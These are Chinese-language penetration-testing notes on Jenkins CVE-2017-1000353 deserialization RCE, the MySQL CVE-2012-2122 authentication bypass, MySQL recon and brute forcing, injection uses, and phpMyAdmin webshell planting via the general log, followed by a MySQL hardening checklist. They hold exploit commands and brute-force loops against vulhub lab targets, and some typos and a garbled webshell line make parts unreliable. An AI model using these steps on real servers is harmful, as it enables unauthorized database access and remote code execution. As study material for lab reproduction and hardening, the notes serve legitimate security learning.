Jenkins
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作.

JenkinsMiner加密货币挖矿软件***我国某机构
https://paper.tuisec.win/detail/a67d6915379bb86

序列化和反序列化
序列化就是把对象转成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

Jenkins-CI 远程代码执行漏洞

所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)

环境下载:https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
复现:
生成序列化字符串
java -jar payload.jar jenkins_poc.ser "touch /tmp/jenkins_0day"

发送数据包,执行命令
Python exploit.py

安全加固

mysql 漏洞 CVE-20120-2122
输入的密码会与期望的正确密码比较,由于不正确的处理,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库,概率为1/256
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
受影响版本
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

CVE-2012-2122漏洞环境
docker-compose.yml
version: '2'
services:
mysql:
image: vulhub/mysql:5.5.23
ports:

  • "3306:3306”

启动环境:
docker-compose up -d

CVE-2012-2122利用

Bash:
for i in seq 1 1000; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done

Metasploit:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump

Python:
#!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()

MySQL信息探测

1.nmap

2.auxiliary/scanner/mysql/mysql_version

3.Hydra爆破MySQL密码

mysql注入利用

1.读文件
2.读数据库密码
3.在一定条件下可以 into outfile into dumpfile
4.SQLAP 工具辅助注入

mysql安全加固
1.检查是否避免运维账号共享
2.检查是否使用默认端口 (作用不大) 一定外网的时候一定限制ip访问
3.检查是否设置禁止mysql对本地文件存取 revoke file on . from 'user'@'127.0.0.1';
4.检查test库是否已经被删除 (新版本的没有这个库了 )
show databases like 'test';
show database "test";
5.检查默认管理员账号是否已更名
update user set user="newUserName" where user="root";
6.设置mysql守护进程专用最小特权账户
ps -ef|grep "^mysql.$"
7.禁用mysql命令历史记录
将mysql_histfile 环境变量设置为 /dev/null,.bash_profile,export
mysql)histfile=/dev/null
ln -s /dev/null $home/.mysql_history
8.备份策略 (最好备份到异地,本地不要保留,防止直接盗取备份文件)
9.确保仅管理员具有完全数据库访问权限
网站配置不允许使用root权限
错误方式 grant all on
. to user identifiend by 'mysqlpass';
正确方式 grant all on db1.
to user identifiend by 'mysqlpass';

phpmyadmin

方式 1.弱口令问题 2.通过日志获取webshell

危害: 获取数据库信息
获得websehll

通过general log获取webshell

mysql> show variables like '%general%';
mysql> set global general_log = on;

mysql> set global general_log_file ='网站路径’;
mysql> select ‘;

mysql> set global general_log_file =‘还原’;
mysql> set global general_log = off;